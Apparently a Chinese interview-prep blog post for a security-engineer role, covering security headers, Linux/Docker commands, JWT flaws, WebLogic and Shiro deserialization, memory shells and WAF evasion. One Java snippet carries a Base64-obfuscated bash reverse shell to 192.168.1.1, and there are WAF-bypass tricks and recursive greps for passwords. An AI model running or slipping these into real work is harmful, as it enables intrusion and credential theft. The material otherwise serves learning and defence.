网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[1. 关键安全头及防御场景](#1. 关键安全头及防御场景)
[1. Linux高频命令](#1. Linux高频命令)
[2. Docker操作命令](#2. Docker操作命令)
[1. JWT结构解析](#1. JWT结构解析)
[2. 攻击手法](#2. 攻击手法)
[1. XMLDecoder反序列化漏洞(CVE-2017-10271)](#1. XMLDecoder反序列化漏洞(CVE-2017-10271))
[2. 后台文件上传+权限绕过组合攻击](#2. 后台文件上传+权限绕过组合攻击)
[1. Runtime.exec 限制分析](#1. Runtime.exec 限制分析)
[1. 内存马注入原理](#1. 内存马注入原理)
[2. 检测与防御方案](#2. 检测与防御方案)
[1. 请求分块传输](#1. 请求分块传输)
[2. 动态加载技术](#2. 动态加载技术)
[1. Java反序列化核心流程](#1. Java反序列化核心流程)
[2. 跨语言反序列化对比](#2. 跨语言反序列化对比)
shopee-安全工程师
和信息安全相关的返回response头 Linux常见命令 docker常见命令 jwt是什么 weblogic反序列化原理(有一个xml反序列化漏洞 还有后台文件上传 还有二次urldencode 权限绕过) java代码审计 exec命令执行的相关利用,前面拼了一段 然后调用lang.runtime.exec("fuck"+a) 这里可以利用吗(不行 因为根据exec的方法这里不能识别执行) 内存马相关原理 shiro反序列化漏洞利用的时候 由于waf过长被ban了 怎么解决这个问题 (如果是waf拦截,可以尝试更换http头 如果tomcat头过长 可以在cookie写一个loader 然后shellcode 写到body里) 内存马扫描原理,如何检测内存马 java代码审计反序列化原理(输入的恶意类被识别 解析了) ysoserial原理 commoncollections利用链的原理 (ccl最后invoke反射加载输入的方法cc2 cc3等等大同小异) linux全盘查找文件 --[find /-name payload] docker run 的常见命令(docker run -it centos -p --name -d) java反序列化 php反序列化 python反序列化的区别和相同点 linux全盘搜索含有某个字符的文件/linxu 全盘搜索叫某个名字的文件 (grep -rl 'abc'/)(find -name /fucku)
信息安全相关Response头详解
1. 关键安全头及防御场景
Header名称 作用场景 防御示例值 Content-Security-Policy
防止XSS攻击 default-src 'self'; script-src 'nonce-xxx'
Strict-Transport-Security
强制HTTPS通信 max-age=31536000; includeSubDomains
X-Content-Type-Options
阻止MIME类型嗅探 nosniff
Referrer-Policy
控制Referer泄露 strict-origin-when-cross-origin
X-Frame-Options
防止点击劫持 DENY
或SAMEORIGIN
Linux与Docker核心命令速查
1. Linux高频命令
文件搜索 :bash
`# 按名称全盘搜索 find / -name "*.jsp" -type f 2>/dev/null # 按内容搜索 grep -r --include=*.txt "password" /etc `
权限管理 :bash
`chmod 600 /path/to/secret.key # 仅属主读写 chown www-data:www-data /var/www `
2. Docker操作命令
容器启停 :bash
`docker run -d -p 8080:80 --name webapp nginx:alpine # 后台运行映射端口 docker exec -it webapp /bin/sh # 进入容器Shell `
镜像管理 :bash
`docker build -t myapp:v1 . # 构建镜像 docker image prune -a # 清理无用镜像 `
JWT安全机制与漏洞
1. JWT结构解析
- Header :算法声明(如
HS256
或none
)- Payload:携带业务数据(如用户ID、过期时间)
- Signature:签名验证(依赖密钥)
2. 攻击手法
- 密钥爆破 :弱密钥导致签名伪造(使用
hashcat
爆破);- 算法篡改 :修改Header为
alg:none
绕过签名验证;- 信息泄露 :解码Payload获取敏感数据(如
jwt.io
在线解码)。
WebLogic反序列化漏洞全景分析
1. XMLDecoder反序列化漏洞(CVE-2017-10271)
- 触发点 :未过滤的XML输入传入
XMLDecoder
解析;- 利用链 :构造
<object class="java.lang.ProcessBuilder">
执行系统命令;- 绕过技巧:使用二次URL编码绕过WAF检测。
2. 后台文件上传+权限绕过组合攻击
- 路径穿越 :上传路径包含
../
跳转至Web目录;- 权限配置错误:未鉴权的管理接口直接部署WAR包。
Java代码审计:命令执行绕过
1. Runtime.exec 限制分析
参数分隔问题 :
exec("fuck" + a)
若a
包含空格需拆分参数数组;绕过方法 :java
`// 使用Base64编码绕过字符串检测 String cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}"; Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd}); `
内存马攻防技术
1. 内存马注入原理
- Servlet型:动态注册恶意Servlet处理请求;
- Filter型:插入Filter链截获所有请求;
- Agent型:通过Java Agent修改字节码。
2. 检测与防御方案
- 行为监控 :检测异常类加载(如
javax.servlet.http.HttpServlet
动态注册);- 流量特征 :内存马请求无对应文件路径(如
/favicon.ico?cmd=id
);- 工具支持 :使用
Arthas
或MemShellScanner
扫描JVM内存。
Shiro反序列化漏洞绕过WAF
1. 请求分块传输
- 分块编码:将Payload拆分为多个块绕过长度检测;
- Header混淆 :添加冗余Header(如
X-Forwarded-For
)干扰WAF解析。2. 动态加载技术
Cookie加载器 :http
`Cookie: rememberMe=Base64Loader; POST /login Body: [Shellcode字节流] `
ClassLoader隔离:利用自定义ClassLoader加载加密的恶意类。
反序列化漏洞原理与利用链
1. Java反序列化核心流程
- 触发点 :
ObjectInputStream.readObject()
反序列化未过滤的输入;- 利用链 :
- CC链 :
InvokerTransformer.transform()
反射调用危险方法;- Fastjson链 :利用
TemplatesImpl
加载字节码。2. 跨语言反序列化对比
语言 触发方法 典型漏洞链 Java readObject()
CommonsCollections、Fastjson PHP __wakeup()
Phar反序列化、POP链 Python __reduce__()
Pickle模块、YAML解析
附录:命令速查表
Linux全盘搜索 :bash
`sh# 按名称搜索 find / -name "*.jsp" 2>/dev/null # 按内容搜索 grep -rnw '/' -e 'password' `
Docker命令规范 :bash
`docker run -d --name myapp -p 8080:80 -v /data:/app/data image:tag `